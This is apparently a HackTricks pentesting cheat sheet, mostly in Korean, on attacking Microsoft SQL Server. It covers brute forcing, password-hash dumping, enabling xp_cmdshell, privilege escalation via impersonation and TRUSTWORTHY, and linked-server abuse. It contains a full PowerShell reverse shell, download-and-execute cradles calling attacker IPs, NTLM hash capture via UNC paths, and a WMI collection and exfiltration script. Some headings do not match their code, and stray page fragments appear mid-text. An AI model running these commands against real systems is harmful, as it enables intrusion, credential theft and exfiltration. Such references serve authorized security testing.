1433 - Pentesting MSSQL - Microsoft SQL Server
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.
기본 정보
wikipedia에서:
Microsoft SQL Server는 Microsoft가 개발한 관계형 데이터베이스 관리 시스템이다. 데이터베이스 서버로서, 다른 소프트웨어 애플리케이션이 요청한 데이터를 저장하고 검색하는 주요 기능을 가진 소프트웨어 제품이며, 이러한 애플리케이션은 같은 컴퓨터에서 실행될 수도 있고 네트워크(인터넷 포함)를 통해 다른 컴퓨터에서 실행될 수도 있다.
기본 포트: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
Managed Database-as-a-Service (DBaaS)에 도착했을 때
“owning the host“에 의존하는 모든 것(예: privilege escalation, lateral movement, OS command execution)은 DBaaS에서는 더 이상 존재하지 않는다. 이러한 환경에서의 pentesting은 application-layer exploitation, SQL logic을 통한 data exfiltration, 잘못 설정된 IAM roles, 또는 부실한 network/VPC 설계로 방향을 전환해야 한다. 예를 들어, Amazon RDS documentation은 xp_cmdshell과 TRUSTWORTHY database property가 지원되지 않는다고 명시한다.
Warning
database endpoint를 받는 것이지, server를 받는 것이 아니다. cloud provider가 host OS, database engine binaries, 그리고 많은 security policies를 관리한다.
Default MS-SQL System Tables
- master Database: 이 database는 SQL Server instance의 모든 system-level details를 캡처하므로 매우 중요하다.
- msdb Database: SQL Server Agent는 alerts와 jobs의 scheduling을 관리하기 위해 이 database를 사용한다.
- model Database: SQL Server instance의 모든 새 database에 대한 blueprint 역할을 하며, size, collation, recovery model 등의 변경 사항이 새로 생성된 database에 그대로 반영된다.
- Resource Database: SQL Server와 함께 제공되는 system objects를 담고 있는 read-only database이다. 이 objects는 물리적으로는 Resource database에 저장되지만, 논리적으로는 모든 database의 sys schema에 표시된다.
- tempdb Database: transient objects 또는 intermediate result sets를 위한 temporary storage area 역할을 한다.
Enumeration
Automatic Enumeration
서비스에 대해 아무것도 모른다면:
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
Tip
자격 증명(credentials)이 없다면 추측해볼 수 있습니다. nmap 또는 metasploit를 사용할 수 있습니다. 주의하세요, 기존 username으로 로그인에 여러 번 실패하면 계정이 차단될 수 있습니다.
Metasploit (need creds)
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump
#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf
#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
Brute force
RID Brute Force를 통한 User Enumeration
RID(Relative Identifiers)를 brute-forcing하여 MSSQL을 통해 domain users를 enumerate할 수 있습니다. 이 technique는 valid credentials는 있지만 privileges가 제한적일 때 유용합니다:
# Using NetExec (nxc) - formerly CrackMapExec
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000
# Examples:
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 5000
nxc mssql 10.10.10.59 -u sa -p 'P@ssw0rd' --rid-brute 10000
# Without --local-auth for domain accounts
nxc mssql 10.10.10.59 -u DOMAIN\\user -p 'password' --rid-brute 5000
{#seo description=“MSSQL (Microsoft SQL Server) pentesting에 대한 빠른 참고 자료입니다. MSSQL 열거, 보안 기능, 권한 상승, 위험한 함수, 코드 실행, 자격 증명, 링크된 서버, 백업, 에이전트 작업을 다룹니다.”}
MSSQL (Microsoft SQL Server) pentesting
{{#include ./banners/hacktricks-training.md}}
-
Microsoft SQL Server - Summary
빠른 요약 페이지입니다.
-
MSSQL 열거.
-
MSSQL trusted database를 통한 권한 상승.
-
싱글 유저 모드에서 권한 상승.
-
위험한 함수와 트리거를 통한 권한 상승.
-
xp_cmdshell을 사용한 command execution. -
MSSQL에서 NTLM을 캡처하는 방법.
-
MSSQL - Privilege Escalation from db_datareader to db_owner
db_datareader에서db_owner로 권한 상승. -
impersonation 기법.
-
MSSQL - SQL Server Agents Jobs
SQL Server Agent jobs.
-
linked servers 열거와 악용.
-
백업과 복원.
-
MSSQL을 이용한 파일 읽기/쓰기.
-
MSSQL - from public to sysadmin
public에서 sysadmin으로 권한 상승.
-
MSSQL - MSSQL as MySQL oracle postgresql client
MSSQL을 MySQL, oracle, postgresql client처럼 사용.
-
UNC Path Injection.
-
데이터베이스 참조.
-
MSSQL APIs, Docker.
-
MSSQL - FOR XML to HTML decode
FOR XML을 이용한 HTML decode. -
MSSQL functions.
-
MSSQL commands.
Microsoft SQL Server - Summary
MSSQL에서는 일반적으로 public 역할이 guest보다 더 높은 권한을 가집니다. 따라서 guest가 public이 가진 privilege를 상속하는지 확인해 보세요.
예시:
--Who is the current user?
SELECT USER_NAME();
--What db roles am I in?
SELECT IS_SRVROLEMEMBER('sysadmin');
--What about the public role? Which users are there?
SELECT is_rolemember('public');
--Which users are there (limited to 10)?
SELECT TOP 10 * FROM master..syslogins;
MSSQL Enumeration
nmap -Pn -n -sV -sC -p1433 --script ms-sql-info <IP>
msf> use auxiliary/admin/mssql/mssql_enum
python mssqlenum.py -u username -p password -d domain -t 192.168.1.101
telnet
telnet <IP> 1433
nc
nc -nv <IP> 1433
sqlcmd
sqlcmd -S 192.168.184.2 -U UserName -P 'Password123!'
Check if the current user is sysadmin
SELECT is_srvrolemember('sysadmin');
GO
Check if the current user is public
SELECT is_srvrolemember('public');
GO
Get all the users
SELECT distinct sp.name
FROM sys.server_principals sp
LEFT JOIN sys.sql_logins sl
ON sp.principal_id = sl.principal_id
Get usernames, hashed pwds, and their roles
SELECT distinct sp.name, sp.type_desc, sp.is_disabled, sl.password_hash
FROM sys.server_principals sp
LEFT JOIN sys.sql_logins sl
ON sp.principal_id = sl.principal_id
Get all available databases
SELECT name FROM master.dbo.sysdatabases
GO
Get all available roles
SELECT name
FROM master..syslogins
WHERE name LIKE '%admin%'
GO
Get all the users on the current database
SELECT name FROM sys.database_principals
GO
Get all the tables from the current database
SELECT * FROM <DATABASE>.INFORMATION_SCHEMA.TABLES
GO
Dump hashes
Note
The
HASHBYTES()function can be used to calculate hashes for many algorithms, includingSHA2_256,SHA2_512,MD5and others. It is useful for checking passwords, but do not use it for password storage because it is too weak.
Search for the first bytes of the hash type to know what it’s from:
SHA2_256: 0x0200
SHA2_512: 0x0300
Example of hash stealing if SHOWPLAN privilege is enabled:
DECLARE @Password varbinary(64)
SELECT @Password = password_hash
FROM sys.sql_logins
WHERE name = 'sa'
SELECT master.dbo.fn_varbintohexstr(@Password)
If the show advanced options is enabled, you can use sqlcmd to dump them from the Windows registry:
# Check if the current user is a member of the sysadmin role.
SELECT is_srvrolemember('sysadmin');
# If the query returns 1, the current user is a sysadmin. Then, you can use sqlcmd to dump the hashes:
EXEC master..xp_cmdshell 'for /f "tokens=3" %a in (''reg query "HKLM\SYSTEM\CurrentControlSet\Services\SQL Server\'' /v ObjectName'') do @echo %a'
Check who has access to current database and their roles
USE <DATABASE>
SELECT user_name(*), role_name(role_principal_id)
FROM sys.database_role_members
INNER JOIN sys.database_principals ON member_principal_id = principal_id
GO
Current user privileges
SELECT * FROM fn_my_permissions(NULL, 'SERVER')
GO
List server permissions
SELECT * FROM fn_builtin_permissions(DEFAULT);
GO
Check who can enumerate databases
SELECT * FROM fn_my_permissions(null, 'database');
GO
Check if a user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin', 'username');
GO
Check if a user has a specific access
SELECT HAS_PERMS_BY_NAME('db_name', 'DATABASE', 'SELECT');
GO
Enabling xp_cmdshell
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
GO
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
Check where xp_cmdshell is stored in the registry
reg query HKLM\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\SuperSocketNetLib
xp_cmdshell options
sqlcmd -S localhost -U sa -P <PASSWORD> -i-
Inside the console:
xp_cmdshell 'whoami'
If a Windows command includes a double quote, it must be escaped by doubling it, like this:
xp_cmdshell 'ping ""127.0.0.1"" -n 2'
If xp_cmdshell is disabled but you have sysadmin privileges
Try to enable it with sp_configure, but you might also be able to use OPENROWSET:
SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN;Address=127.0.0.1,1443;uid=sa;pwd=password', 'select 1')
If the server has CLR enabled, you can use this exploit to bypass this restriction.
Check if xp_cmdshell is present on the server
SELECT * FROM master.dbo.sysobjects WHERE name = 'xp_cmdshell'
GO
Use xp_cmdshell to run commands
EXEC master..xp_cmdshell 'whoami'
GO
Use xp_cmdshell to create a process
EXEC master..xp_cmdshell 'ping 127.0.0.1 -n 5 > C:\windows\temp\test.txt'
GO
Use xp_cmdshell to create a new user
EXEC master..xp_cmdshell 'net user NAME PASSWORD /ADD'
GO
EXEC master..xp_cmdshell 'net localgroup Administrators NAME /add'
GO
Use sp_oacreate to execute commands
DECLARE @shell INT
EXEC sp_oacreate 'wscript.shell', @shell OUT
EXEC sp_oamethod @shell, 'run', null, 'notepad.exe'
DECLARE @shell INT
EXEC sp_oacreate 'wscript.shell', @shell OUT
EXEC sp_oamethod @shell, 'run', null, 'powershell.exe -w hidden -enc cABvAHcAZQByAHMAaABlAGwAbAAgAG8AbgBlAA=='
Use xp_regwrite to add a user to the local Administrators group
EXEC xp_regwrite
'HKEY_LOCAL_MACHINE',
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'NullSessionShares',
'REG_MULTI_SZ',
'sharename'
Enable xp_regwrite
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE
Using BULK INSERT to execute code from a share
BULK INSERT mytable FROM '\\YOURIP\shared\test.txt'
Using INSERT INTO ... EXEC xp_cmdshell to dump output to a file
INSERT INTO <table>
EXEC xp_cmdshell 'ipconfig > c:\inetpub\wwwroot\test.txt';
Use OLE Automation Procedures to execute a file
sp_oacreate 'wscript.shell', @shell OUT
sp_oamethod @shell, 'run', null, 'c:\windows\system32\mspaint.exe'
xp_cmdshell with PowerShell
xp_cmdshell "powershell -enc JABhACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAH"
Get a reverse shell with xp_cmdshell
Get a reverse shell with BULK INSERT
BULK INSERT employees FROM '\\10.10.10.10\Shared\payload.txt'
Get a reverse shell using xp_dirtree
EXEC master..xp_dirtree '\\10.10.14.14\back'
GO
Get a reverse shell using xp_subdirs
EXEC master..xp_subdirs '\\10.10.14.14\back'
GO
Get a reverse shell using xp_fileexist
EXEC master..xp_fileexist '\\10.10.14.14\back'
GO
Get a reverse shell using fn_xe_file_target_read_file
SELECT * FROM fn_xe_file_target_read_file('C:\back\*.xel', 'C:\back\*.xem', null, null)
GO
Get a reverse shell using fn_get_audit_file
SELECT * FROM fn_get_audit_file('C:\back\*.sqlaudit', default, default)
GO
Using powershell and curl to get an https shell
xp_cmdshell "powershell \"IEX(New-Object Net.WebClient).downloadString('http://10.10.14.2:8080/ps')\""
Get hashes in an NTDS.dit file
SELECT * FROM sys.fn_cdc_get_all_changes_Person_Addressbook_CT(...)
Impersonation
Check the users that can be impersonated
SELECT distinct b.name
FROM sys.server_permissions a
JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
Current user identities
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT IS_MEMBER('public');
Use EXECUTE AS LOGIN
EXECUTE AS LOGIN = 'domainname\username';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT IS_MEMBER('public');
Reverse EXECUTE AS LOGIN
REVERT;
If you have impersonation access to another user in master, you can become sa
USE master
EXECUTE AS LOGIN = 'someLogin'
EXEC sp_addsrvrolemember 'sa', 'sysadmin'
SQL Server Agent Jobs
SELECT @@version;
SELECT is_srvrolemember('sysadmin');
SELECT * FROM msdb.dbo.sysjobs;
sysadmin이거나 SQLAgentUserRole인 경우 job을 만들고 실행할 수 있습니다.
When a SQL Server Agent job is executed, the SQL Server service account is used.
The SQL Server Agent has lots of features and can perform many actions, such as xp_cmdshell commands.
Check these links:
Get all users and roles in SQL Server
SELECT sp.name,
sp.type_desc,
sp.is_disabled,
sl.password_hash
FROM sys.server_principals sp
LEFT JOIN sys.sql_logins sl
ON sp.principal_id = sl.principal_id
List all the roles
EXEC sp_helpserverrole
GO
Check your permissions
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
GO
Check permission of a specific user
SELECT * FROM fn_my_permissions(NULL, 'USER') WHERE grantee_principal_id = USER_ID('user');
GO
Delete a job
EXEC msdb.dbo.sp_delete_job @job_name = N'<JOB_NAME>';
GO
Create job
USE msdb;
GO
EXEC dbo.sp_add_job @job_name = N'<JOB_NAME>';
GO
EXEC sp_add_jobstep
@job_name = N'<JOB_NAME>',
@step_name = N's1',
@subsystem = N'CMDEXEC',
@command = N'whoami';
GO
EXEC dbo.sp_add_jobserver
@job_name = N'<JOB_NAME>';
GO
EXEC dbo.sp_start_job @job_name = N'<JOB_NAME>';
GO
Linked Servers
See this link for more info.
Check Linked Servers
EXEC sp_linkedservers;
GO
Check the configurations of Linked Servers
EXEC sp_helplinkedsrvlogin
GO
Enable RPC OUT
EXEC sp_serveroption 'linked_server_name', 'rpc out', true;
GO
Use rpc out to execute commands
EXEC ('xp_cmdshell ''whoami''') AT [linked server name]
GO
Use rpc out to get a reverse shell
EXEC ('xp_cmdshell ''powershell -enc ...''') AT [linked server name]
GO
Create a new linked server
EXEC master.dbo.sp_addlinkedserver @server = N'IP or hostname', @srvproduct=N'SQL Server';
GO
EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname=N'IP or hostname', @useself=N'false', @rmtuser=N'username', @rmtpassword=N'password';
GO
Access other databases in a linked server
SELECT * FROM [linked server name].[database].[schema].[table];
GO
Obtain hashes from linked servers
EXEC ('select * from master..sysxlogins') AT [LINKED-SERVER-NAME]
GO
If a linked server doesn’t allow executing commands, try OPENQUERY
SELECT * FROM OPENQUERY("linkedserver", 'select @@version')
Execute commands through xp_cmdshell
SELECT 1 FROM OPENQUERY("linkedserver", 'select 1; exec master..xp_cmdshell ''cmd /c ipconfig''')
Obtain code execution through SQL Server Agent
EXEC ('EXEC msdb.dbo.sp_add_job @job_name = ''test'';') AT [SERVER_NAME];
EXEC ('EXEC msdb.dbo.sp_add_jobstep @job_name = ''test'', @step_name = ''step1'', @subsystem = ''PowerShell'', @command = ''whoami'';') AT [SERVER_NAME];
EXEC ('EXEC msdb.dbo.sp_add_jobserver @job_name = ''test'';') AT [SERVER_NAME];
EXEC ('EXEC msdb.dbo.sp_start_job @job_name = ''test'';') AT [SERVER_NAME];
Get a reverse shell
EXEC ('xp_cmdshell ''powershell -enc <PAYLOAD>''') AT [SERVER_NAME]
Get a reverse shell with linked servers
EXEC ('xp_cmdshell ''powershell -w hidden -nop -c "$client = New-Object System.Net.Sockets.TCPClient(''IP'',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> ''; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"''') AT [SERVER_NAME]
Example of linked server password dump
EXECUTE('CREATE LOGIN hacker WITH PASSWORD = ''password'' ') AT [remote_server_name];
GO
Check where SQL Server is running from
EXEC xp_regread
HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\SQL SERVERAGENT',
'ImagePath';
GO
openrowset with payloads
SELECT * FROM OPENROWSET(BULK '\\<server>\file', SINGLE_CLOB) AS Contents
GO
Access the current database from master
SELECT * FROM <DB_NAME>.INFORMATION_SCHEMA.TABLES;
GO
Access all databases from master
SELECT name FROM sys.databases;
GO
OPENQUERY commands
SELECT * FROM OPENQUERY(SRV1, 'select @@version');
SELECT * FROM OPENQUERY(SRV1, 'select name from sys.databases');
SELECT * FROM OPENQUERY(SRV1, 'select * from sys.all_objects');
Get linked servers recursively
select * from OPENQUERY("server3", 'select * from OPENQUERY("server2", ''select * from OPENQUERY("server1", ''''select name from master.dbo.sysdatabases'''' )'')')
Access linked server databases
select * from openquery("server", 'select * from master.dbo.sysdatabases')
Get a reverse shell from a linked server through rpc out
exec ('exec master..xp_cmdshell ''powershell -w hidden -nop -c "$client = New-Object System.Net.Sockets.TCPClient(''IP'', PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> ''; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"''') at [SERVER_NAME]
OPENROWSET with NUL
SELECT * FROM OPENROWSET(BULK N'\\WEB\Share\file.txt', SINGLE_BLOB) x;
OPENROWSET with WebDAV
SELECT * FROM OPENROWSET(BULK N'https://webserver@443/file.txt', SINGLE_BLOB) x;
MSSQL - Trusted Database
TRUSTWORTHY 속성이 설정된 데이터베이스는 해당 데이터베이스의 dbo가 sysadmin 권한으로 서버 수준 작업을 수행할 수 있도록 허용합니다.
Check if a database is trusted
SELECT name,is_trustworthy_on FROM sys.databases
GO
Find dbo
SELECT name, suser_sname(owner_sid)
FROM sys.databases
GO
If you can change the owner of the database to sa, you can make your db owner become sysadmin
ALTER AUTHORIZATION ON DATABASE::[dbname] TO sa;
If you are db_owner but not sysadmin, try to make the database TRUSTWORTHY
ALTER DATABASE [db_name] SET TRUSTWORTHY ON;
GO
Try to get db_owner
SELECT is_srvrolemember('sysadmin');
GO
EXECUTE AS LOGIN = 'sa';
GO
SELECT SYSTEM_USER;
GO
Get db_owner role with db_accessadmin
Database relationship
SELECT db_name(../../../?)
Permissions on the database
SELECT * FROM fn_my_permissions(DB_NAME(), 'DATABASE');
GO
Query current database
SELECT * FROM [sys].[database_principals]
GO
Privileges of the dbo user
SELECT is_srvrolemember('sysadmin');
GO
SELECT is_member('db_owner');
GO
If the db is trustworthy and the owner is sa
SELECT is_srvrolemember('sysadmin');
GO
EXECUTE AS LOGIN = 'dbo';
GO
SELECT is_srvrolemember('sysadmin');
GO
If the db is trustworthy and a user can be impersonated
USE [master]
GO
EXECUTE AS LOGIN = 'user'
GO
SELECT SYSTEM_USER
GO
EXEC sp_addsrvrolemember 'user', 'sysadmin'
GO
If the db is trustworthy and the owner is sa, get sysadmin with a module
CREATE PROCEDURE sp_test
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'user', 'sysadmin'
GO
MSSQL - Single User
Get single user
ALTER DATABASE <database_name> SET SINGLE_USER WITH ROLLBACK IMMEDIATE
Exploit single user mode to become sysadmin
See this article
[snippet]
MSSQL 10.129.234.50 1433 DC 1104: REDELEGATE\Christine.Flanders
MSSQL 10.129.234.50 1433 DC 1105: REDELEGATE\Marie.Curie
MSSQL 10.129.234.50 1433 DC 1106: REDELEGATE\Helen.Frost
MSSQL 10.129.234.50 1433 DC 1107: REDELEGATE\Michael.Pontiac
MSSQL 10.129.234.50 1433 DC 1108: REDELEGATE\Mallory.Roberts
MSSQL 10.129.234.50 1433 DC 1109: REDELEGATE\James.Dinkleberg
[snippet]
Parameters:
--local-auth: 도메인 대신 local authentication 사용--rid-brute <max_rid>: 지정된 숫자까지 RIDs를 brute force로 탐색 (기본값: 4000)-u: Username-p: Password
이 technique는 MSSQL server에 account information을 질의하여 연속된 RIDs와 연결된 users를 enumerate합니다.
Manual Enumeration
Login
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
일반적인 Enumeration
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master
#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
#Enumerate links
enum_links
#Use a link
use_link [NAME]
사용자 가져오기
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;
## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
권한 가져오기
- Securable: SQL Server에서 접근 제어를 위해 관리하는 리소스로 정의된다. 이는 다음과 같이 분류된다:
- Server – 예: databases, logins, endpoints, availability groups, 및 server roles.
- Database – 예: database role, application roles, schema, certificates, full text catalogs, 및 users.
- Schema – tables, views, procedures, functions, synonyms 등을 포함한다.
- Permission: SQL Server securables와 연결되며, ALTER, CONTROL, CREATE 같은 permissions는 principal에게 부여될 수 있다. permissions 관리는 두 수준에서 이루어진다:
- Server Level logins 사용
- Database Level users 사용
- Principal: 이 용어는 securable에 대한 permission이 부여되는 엔티티를 의미한다. Principals는 주로 logins와 database users를 포함한다. securables에 대한 접근 제어는 permissions를 grant 또는 deny하거나, 접근 권한이 있는 roles에 logins와 users를 포함시켜서 수행된다.
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
Tricks
OS Commands 실행
Caution
명령을 실행할 수 있으려면
xp_cmdshell이 enabled 되어 있는 것만으로는 충분하지 않고,xp_cmdshellstored procedure 에 대한 EXECUTE permission 도 있어야 합니다.xp_cmdshell을 사용할 수 있는 사용자(sysadmins 제외)는 다음으로 확인할 수 있습니다:Use master EXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
WMI-based remote SQL collection (sqlcmd + CSV export)
Operators can pivot from an IIS/app tier to SQL Servers using WMI를 사용해 MSSQL에 인증하고 ad‑hoc queries를 실행하는 작은 batch를 실행한 다음, 결과를 CSV로 export할 수 있습니다. 이렇게 하면 collection이 단순해지고 admin activity와 섞입니다.
Example mssq.bat
@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
WMI로 원격에서 실행하기
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
PowerShell 대체 도구
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
메모
- sqlcmd가 없을 수 있으므로, osql, PowerShell Invoke-Sqlcmd, 또는 System.Data.SqlClient를 사용하는 one-liner로 대체한다.
- 인용 부호는 신중하게 사용해야 한다. 길거나 복잡한 query는 파일로 제공하거나, batch/PowerShell stub 내부에서 디코딩되는 Base64-encoded argument로 제공하는 편이 더 쉽다.
- SMB를 통해 CSV를 exfil한다(예: \SQLHOST\C$\Windows\Temp에서 copy) 또는 압축해서 C2를 통해 이동한다.
Get hashed passwords
SELECT * FROM master.sys.syslogins;
NetNTLM hash 훔치기 / Relay attack
인증에 사용된 해시를 캡처하기 위해 SMB server를 시작해야 합니다(impacket-smbserver 또는 responder 예시).
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
